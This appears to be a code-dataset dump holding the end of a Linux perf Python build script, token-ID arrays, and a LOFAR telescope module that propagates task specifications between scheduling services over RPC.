description='Interface with the Linux profiling infrastructure', author='Arnaldo Carvalho de Melo', author_email='acme@redhat.com', license='GPLv2', url='http://perf.wiki.kernel.org', ext_modules=[perf], cmdclass={'build_ext': build_ext, 'install_lib': install_lib})
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 18, 199, 199, 504, 7065, 14, 1018, 492, 3272, 12, 13282, 199, 504, 747, 492, 29626, 199, 199, 504, 7065, 14, 1531, 14, 1506, 63, 832, 257, 492, 1900, 63, 832, 257, 465, 485, 1506, 63, 832, 199, 504, 7065, 14, 1531, 14, 3174, 63, 773, 492, 3907, 63, 773, 465, 485, 3174, 63, 773, 199, 199, 533, 1900, 63, 832, 1547, 1506, 63, 832, 304, 272, 347, 17284, 63, 1419, 8, 277, 304, 267, 485, 1506, 63, 832, 14, 14450, 63, 1419, 8, 277, 9, 267, 291, 14, 1506, 63, 773, 221, 275, 1900, 63, 773, 267, 291, 14, 1506, 63, 808, 275, 1900, 63, 2791, 199, 199, 533, 3907, 63, 773, 1547, 3174, 63, 773, 304, 272, 347, 17284, 63, 1419, 8, 277, 304, 267, 485, 3174, 63, 773, 14, 14450, 63, 1419, 8, 277, 9, 267, 291, 14, 1506, 63, 694, 275, 1900, 63, 773, 421, 199, 14002, 275, 11573, 70, 889, 13, 4768, 13, 3620, 316, 297, 2475, 55, 889, 13, 952, 13, 5465, 418, 199, 14002, 847, 29626, 360, 14804, 297, 12548, 1294, 342, 199, 199, 1506, 63, 773, 275, 29626, 360, 11720, 63, 2472, 8248, 63, 5617, 358, 199, 1506, 63, 2791, 275, 29626, 360, 11720, 63, 2472, 8248, 63, 17983, 358, 199, 199, 832, 63, 4553, 275, 359, 70, 14, 1913, 342, 367, 289, 315, 570, 360, 1974, 15, 1548, 13, 832, 13, 4553, 358, 1585, 198, 692, 822, 8, 70, 14, 1913, 1012, 690, 378, 436, 289, 59, 16, 61, 1137, 3943, 418, 199, 199, 9452, 275, 13282, 360, 9452, 297, 29294, 5274, 275, 1599, 63, 4553, 12, 29294, 2387, 63, 3220, 275, 788, 1974, 15, 2613, 995, 29294, 2402, 63, 2014, 63, 589, 275, 13426, 12, 326, 776, 199, 199, 2758, 8, 354, 534, 9452, 297, 489, 1015, 534, 16, 14, 17, 297, 489, 1369, 534, 4267, 543, 314, 10130, 30238, 28890, 6976, 297, 489, 4132, 534, 20498, 279, 1117, 14243, 637, 526, 477, 3194, 320, 297, 489, 4132, 63, 2123, 534, 18107, 32, 17164, 14, 957, 297, 489, 4190, 534, 28863, 18, 297, 489, 1166, 534, 1014, 921, 9452, 14, 6797, 14, 4989, 14, 1308, 297, 489, 1599, 63, 3112, 1524, 9452, 467, 489, 2088, 533, 3713, 1506, 63, 832, 356, 1900, 63, 832, 12, 283, 3174, 63, 773, 356, 3907, 63, 773, 1552, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 18, 199, 199, 504, 7065, 14, 1018, 492, 3272, 12, 13282, 199, 504, 747, 492, 29626, 199, 199, 504, 7065, 14, 1531, 14, 1506, 63, 832, 257, 492, 1900, 63, 832, 257, 465, 485, 1506, 63, 832, 199, 504, 7065, 14, 1531, 14, 3174, 63, 773, 492, 3907, 63, 773, 465, 485, 3174, 63, 773, 199, 199, 533, 1900, 63, 832, 1547, 1506, 63, 832, 304, 272, 347, 17284, 63, 1419, 8, 277, 304, 267, 485, 1506, 63, 832, 14, 14450, 63, 1419, 8, 277, 9, 267, 291, 14, 1506, 63, 773, 221, 275, 1900, 63, 773, 267, 291, 14, 1506, 63, 808, 275, 1900, 63, 2791, 199, 199, 533, 3907, 63, 773, 1547, 3174, 63, 773, 304, 272, 347, 17284, 63, 1419, 8, 277, 304, 267, 485, 3174, 63, 773, 14, 14450, 63, 1419, 8, 277, 9, 267, 291, 14, 1506, 63, 694, 275, 1900, 63, 773, 421, 199, 14002, 275, 11573, 70, 889, 13, 4768, 13, 3620, 316, 297, 2475, 55, 889, 13, 952, 13, 5465, 418, 199, 14002, 847, 29626, 360, 14804, 297, 12548, 1294, 342, 199, 199, 1506, 63, 773, 275, 29626, 360, 11720, 63, 2472, 8248, 63, 5617, 358, 199, 1506, 63, 2791, 275, 29626, 360, 11720, 63, 2472, 8248, 63, 17983, 358, 199, 199, 832, 63, 4553, 275, 359, 70, 14, 1913, 342, 367, 289, 315, 570, 360, 1974, 15, 1548, 13, 832, 13, 4553, 358, 1585, 198, 692, 822, 8, 70, 14, 1913, 1012, 690, 378, 436, 289, 59, 16, 61, 1137, 3943, 418, 199, 199, 9452, 275, 13282, 360, 9452, 297, 29294, 5274, 275, 1599, 63, 4553, 12, 29294, 2387, 63, 3220, 275, 788, 1974, 15, 2613, 995, 29294, 2402, 63, 2014, 63, 589, 275, 13426, 12, 326, 776, 199, 199, 2758, 8, 354, 534, 9452, 297, 489, 1015, 534, 16, 14, 17, 297, 489, 1369, 534, 4267, 543, 314, 10130, 30238, 28890, 6976, 297, 489, 4132, 534, 20498, 279, 1117, 14243, 637, 526, 477, 3194, 320, 297, 489, 4132, 63, 2123, 534, 18107, 32, 17164, 14, 957, 297, 489, 4190, 534, 28863, 18, 297, 489, 1166, 534, 1014, 921, 9452, 14, 6797, 14, 4989, 14, 1308, 297, 489, 1599, 63, 3112, 1524, 9452, 467, 489, 2088, 533, 3713, 1506, 63, 832, 356, 1900, 63, 832, 12, 283, 3174, 63, 773, 356, 3907, 63, 773, 1552, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768,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 0, 0, 0, 0 ]
jjdmol/LOFAR
SAS/ResourceAssignment/RAtoOTDBTaskSpecificationPropagator/lib/propagator.py
1
7767
#!/usr/bin/env python # Copyright (C) 2015 # ASTRON (Netherlands Institute for Radio Astronomy) # P.O.Box 2, 7990 AA Dwingeloo, The Netherlands # # This file is part of the LOFAR software suite. # The LOFAR software suite is free software: you can redistribute it # and/or modify it under the terms of the GNU General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # The LOFAR software suite is distributed in the hope that it will be # useful, but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with the LOFAR software suite. If not, see <http://www.gnu.org/licenses/>. # # $Id: assignment.py 1580 2015-09-30 14:18:57Z loose $ """ RAtoOTDBTaskSpecificationPropagator gets a task to be scheduled in OTDB, reads the info from the RA DB and sends it to OTDB in the correct format. """ import logging import datetime import time from lofar.messaging.RPC import RPC, RPCException from lofar.parameterset import parameterset from lofar.sas.resourceassignment.resourceassignmentservice.rpc import RARPC as RADBRPC from lofar.sas.resourceassignment.resourceassignmentservice.config import DEFAULT_BUSNAME as RADB_BUSNAME from lofar.sas.resourceassignment.resourceassignmentservice.config import DEFAULT_SERVICENAME as RADB_SERVICENAME from lofar.sas.otdb.otdbrpc import OTDBRPC from lofar.sas.otdb.config import DEFAULT_OTDB_SERVICE_BUSNAME, DEFAULT_OTDB_SERVICENAME from lofar.sas.resourceassignment.ratootdbtaskspecificationpropagator.translator import RAtoOTDBTranslator from lofar.mom.momqueryservice.momqueryrpc import MoMQueryRPC from lofar.mom.momqueryservice.config import DEFAULT_MOMQUERY_BUSNAME, DEFAULT_MOMQUERY_SERVICENAME logger = logging.getLogger(__name__) class RAtoOTDBPropagator(): def __init__(self, radb_busname=RADB_BUSNAME, radb_servicename=RADB_SERVICENAME, radb_broker=None, otdb_busname=DEFAULT_OTDB_SERVICE_BUSNAME, otdb_servicename=DEFAULT_OTDB_SERVICENAME, mom_busname=DEFAULT_MOMQUERY_BUSNAME, mom_servicename=DEFAULT_MOMQUERY_SERVICENAME, otdb_broker=None, mom_broker=None, broker=None): """ RAtoOTDBPropagator updates tasks in the OTDB after the ResourceAssigner is done with them. :param radb_busname: busname on which the radb service listens (default: lofar.ra.command) :param radb_servicename: servicename of the radb service (default: RADBService) :param radb_broker: valid Qpid broker host (default: None, which means localhost) :param otdb_busname: busname on which the OTDB service listens (default: lofar.otdb.command) :param otdb_servicename: servicename of the OTDB service (default: OTDBService) :param otdb_broker: valid Qpid broker host (default: None, which means localhost) :param broker: if specified, overrules radb_broker and otdb_broker. Valid Qpid broker host (default: None, which means localhost) """ if broker: radb_broker = broker otdb_broker = broker mom_broker = broker self.radbrpc = RADBRPC(busname=radb_busname, servicename=radb_servicename, broker=radb_broker) ## , ForwardExceptions=True hardcoded in RPCWrapper right now self.otdbrpc = OTDBRPC(busname=otdb_busname, servicename=otdb_servicename, broker=otdb_broker) ## , ForwardExceptions=True hardcoded in RPCWrapper right now self.momrpc = MoMQueryRPC(busname=mom_busname, servicename=mom_servicename, broker=mom_broker) self.translator = RAtoOTDBTranslator() def __enter__(self): """Internal use only. (handles scope 'with')""" self.open() return self def __exit__(self, exc_type, exc_val, exc_tb): """Internal use only. (handles scope 'with')""" self.close() def open(self): """Open rpc connections to radb service and resource estimator service""" self.radbrpc.open() self.otdbrpc.open() self.momrpc.open() def close(self): """Close rpc connections to radb service and resource estimator service""" self.radbrpc.close() self.otdbrpc.close() self.momrpc.close() def doTaskConflict(self, otdb_id): logger.info('doTaskConflict: otdb_id=%s' % (otdb_id,)) if not otdb_id: logger.warning('doTaskConflict no valid otdb_id: otdb_id=%s' % (otdb_id,)) return try: self.otdbrpc.taskSetStatus(otdb_id, 'conflict') except Exception as e: logger.error(e) def doTaskScheduled(self, ra_id, otdb_id, mom_id): try: logger.info('doTaskScheduled: ra_id=%s otdb_id=%s mom_id=%s' % (ra_id, otdb_id, mom_id)) if not otdb_id: logger.warning('doTaskScheduled no valid otdb_id: otdb_id=%s' % (otdb_id,)) return ra_info = self.getRAinfo(ra_id) logger.info('RA info for ra_id=%s otdb_id=%s: %s' % (ra_id, otdb_id, ra_info)) # check if this is a CEP4 task, or an old CEP2 task # at this moment the most simple check is to see if RA claimed (CEP4) storage # TODO: do proper check on cluster/storage/etc if not ra_info['storage']: logger.info("No (CEP4) storage claimed for ra_id=%s otdb_id=%s, skipping otdb specification update." % (ra_id, otdb_id)) return #get mom project name try: project = self.momrpc.getProjectDetails(mom_id) logger.info(project) project_name = "_".join(project[str(mom_id)]['project_name'].split()) except (RPCException, KeyError) as e: logger.error('Could not get project name from MoM for mom_id %s: %s' % (mom_id, str(e))) logger.info('Using \'unknown\' as project name.') project_name = 'unknown' otdb_info = self.translator.CreateParset(otdb_id, ra_info, project_name) logger.debug("Parset info for OTDB: %s" %otdb_info) self.setOTDBinfo(otdb_id, otdb_info, 'scheduled') except Exception as e: logger.error(e) self.doTaskConflict(otdb_id) def getRAinfo(self, ra_id): info = {} info["storage"] = {} task = self.radbrpc.getTask(ra_id) claims = self.radbrpc.getResourceClaims(task_ids=ra_id, extended=True, include_properties=True) for claim in claims: logger.debug("Processing claim: %s" % claim) if claim['resource_type_name'] == 'storage': info['storage'] = claim info["starttime"] = task["starttime"] info["endtime"] = task["endtime"] info["status"] = task["status"] return info def setOTDBinfo(self, otdb_id, otdb_info, otdb_status): try: logger.info('Setting specticication for otdb_id %s: %s' % (otdb_id, otdb_info)) self.otdbrpc.taskSetSpecification(otdb_id, otdb_info) self.otdbrpc.taskPrepareForScheduling(otdb_id, otdb_info["LOFAR.ObsSW.Observation.startTime"], otdb_info["LOFAR.ObsSW.Observation.stopTime"]) logger.info('Setting status (%s) for otdb_id %s' % (otdb_status, otdb_id)) self.otdbrpc.taskSetStatus(otdb_id, otdb_status) except Exception as e: logger.error(e) self.doTaskConflict(otdb_id)
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 35, 9, 6900, 199, 3, 437, 3027, 615, 334, 4698, 728, 31813, 1010, 25585, 367, 13514, 437, 495, 17293, 9, 199, 3, 510, 14, 47, 14, 3532, 499, 12, 1520, 16166, 437, 33, 577, 2676, 303, 320, 79, 12, 710, 5612, 728, 31813, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 314, 491, 3359, 689, 2032, 5241, 14, 199, 3, 710, 491, 3359, 689, 2032, 5241, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 199, 3, 436, 15, 269, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 710, 491, 3359, 689, 2032, 5241, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 199, 3, 2997, 12, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 259, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 199, 3, 543, 314, 491, 3359, 689, 2032, 5241, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 3, 2672, 1304, 26, 9801, 14, 647, 4114, 1257, 6900, 13, 1643, 13, 1216, 4329, 26, 1085, 26, 1641, 58, 560, 3362, 2672, 199, 199, 624, 199, 2847, 475, 1387, 2846, 4476, 26235, 919, 15351, 707, 7545, 282, 2120, 370, 506, 18416, 315, 593, 52, 2846, 12, 199, 15656, 314, 2256, 687, 314, 31632, 6249, 436, 16178, 652, 370, 593, 52, 2846, 315, 314, 3211, 1475, 14, 199, 624, 199, 199, 646, 2050, 199, 646, 2197, 199, 646, 900, 199, 199, 504, 560, 15315, 14, 27782, 14, 8171, 492, 11785, 12, 11785, 1726, 199, 504, 560, 15315, 14, 5329, 409, 492, 2725, 409, 199, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 1927, 10861, 1364, 14, 4354, 492, 820, 689, 4222, 465, 820, 1554, 7184, 4222, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 1927, 10861, 1364, 14, 888, 492, 6186, 63, 24753, 2339, 465, 820, 1554, 34, 63, 24753, 2339, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 1927, 10861, 1364, 14, 888, 492, 6186, 63, 3279, 54, 948, 11536, 465, 820, 1554, 34, 63, 3279, 54, 948, 11536, 199, 199, 504, 560, 15315, 14, 22601, 14, 357, 697, 14, 357, 697, 4354, 492, 593, 52, 2846, 8171, 199, 504, 560, 15315, 14, 22601, 14, 357, 697, 14, 888, 492, 6186, 63, 1387, 2846, 63, 10486, 63, 24753, 2339, 12, 6186, 63, 1387, 2846, 63, 3279, 54, 948, 11536, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 82, 11318, 357, 697, 1765, 22271, 496, 15351, 707, 14, 29346, 492, 31632, 475, 1387, 2846, 26059, 199, 199, 504, 560, 15315, 14, 31714, 14, 31714, 1131, 1364, 14, 31714, 1131, 4354, 492, 3930, 45, 3227, 8171, 199, 504, 560, 15315, 14, 31714, 14, 31714, 1131, 1364, 14, 888, 492, 6186, 63, 2679, 45, 11938, 63, 24753, 2339, 12, 6186, 63, 2679, 45, 11938, 63, 3279, 54, 948, 11536, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 31632, 475, 1387, 2846, 919, 15351, 707, 837, 272, 347, 636, 826, 721, 277, 12, 326, 660, 697, 63, 5610, 354, 29, 19662, 34, 63, 24753, 2339, 12, 326, 660, 697, 63, 332, 433, 25869, 29, 19662, 34, 63, 3279, 54, 948, 11536, 12, 326, 660, 697, 63, 16620, 29, 403, 12, 326, 312, 84, 697, 63, 5610, 354, 29, 3472, 63, 1387, 2846, 63, 10486, 63, 24753, 2339, 12, 326, 312, 84, 697, 63, 332, 433, 25869, 29, 3472, 63, 1387, 2846, 63, 3279, 54, 948, 11536, 12, 326, 30202, 63, 5610, 354, 29, 3472, 63, 2679, 45, 11938, 63, 24753, 2339, 12, 326, 30202, 63, 332, 433, 25869, 29, 3472, 63, 2679, 45, 11938, 63, 3279, 54, 948, 11536, 12, 326, 312, 84, 697, 63, 16620, 29, 403, 12, 326, 30202, 63, 16620, 29, 403, 12, 326, 15416, 29, 403, 304, 267, 408, 267, 31632, 475, 1387, 2846, 919, 15351, 707, 7029, 6527, 315, 314, 593, 52, 2846, 2410, 314, 7337, 9595, 281, 365, 4224, 543, 3062, 14, 267, 520, 635, 660, 697, 63, 5610, 354, 26, 10414, 354, 641, 1314, 314, 660, 697, 2435, 1212, 1597, 561, 334, 885, 26, 560, 15315, 14, 345, 14, 1531, 9, 267, 520, 635, 660, 697, 63, 332, 433, 25869, 26, 8926, 433, 25869, 402, 314, 660, 697, 2435, 334, 885, 26, 820, 1554, 34, 3167, 9, 267, 520, 635, 660, 697, 63, 16620, 26, 1686, 1413, 3150, 15416, 1591, 334, 885, 26, 488, 12, 1314, 4910, 11667, 9, 267, 520, 635, 312, 84, 697, 63, 5610, 354, 26, 10414, 354, 641, 1314, 314, 593, 52, 2846, 2435, 1212, 1597, 561, 334, 885, 26, 560, 15315, 14, 357, 697, 14, 1531, 9, 267, 520, 635, 312, 84, 697, 63, 332, 433, 25869, 26, 8926, 433, 25869, 402, 314, 593, 52, 2846, 2435, 334, 885, 26, 593, 52, 2846, 3167, 9, 267, 520, 635, 312, 84, 697, 63, 16620, 26, 1686, 1413, 3150, 15416, 1591, 334, 885, 26, 488, 12, 1314, 4910, 11667, 9, 267, 520, 635, 15416, 26, 340, 2013, 12, 1806, 4423, 660, 697, 63, 16620, 436, 312, 84, 697, 63, 16620, 14, 4821, 1413, 3150, 15416, 1591, 334, 885, 26, 488, 12, 1314, 4910, 11667, 9, 267, 408, 267, 340, 15416, 26, 288, 660, 697, 63, 16620, 275, 15416, 288, 312, 84, 697, 63, 16620, 275, 15416, 288, 30202, 63, 16620, 221, 275, 15416, 398, 291, 14, 345, 697, 4354, 275, 820, 1554, 7184, 4222, 8, 5610, 354, 29, 345, 697, 63, 5610, 354, 12, 8926, 433, 25869, 29, 345, 697, 63, 332, 433, 25869, 12, 15416, 29, 345, 697, 63, 16620, 9, 925, 2360, 22536, 16836, 29, 549, 7508, 15282, 315, 11785, 4590, 2451, 3063, 267, 291, 14, 357, 697, 4354, 275, 593, 52, 2846, 8171, 8, 5610, 354, 29 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 35, 9, 6900, 199, 3, 437, 3027, 615, 334, 4698, 728, 31813, 1010, 25585, 367, 13514, 437, 495, 17293, 9, 199, 3, 510, 14, 47, 14, 3532, 499, 12, 1520, 16166, 437, 33, 577, 2676, 303, 320, 79, 12, 710, 5612, 728, 31813, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 314, 491, 3359, 689, 2032, 5241, 14, 199, 3, 710, 491, 3359, 689, 2032, 5241, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 199, 3, 436, 15, 269, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 710, 491, 3359, 689, 2032, 5241, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 199, 3, 2997, 12, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 259, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 199, 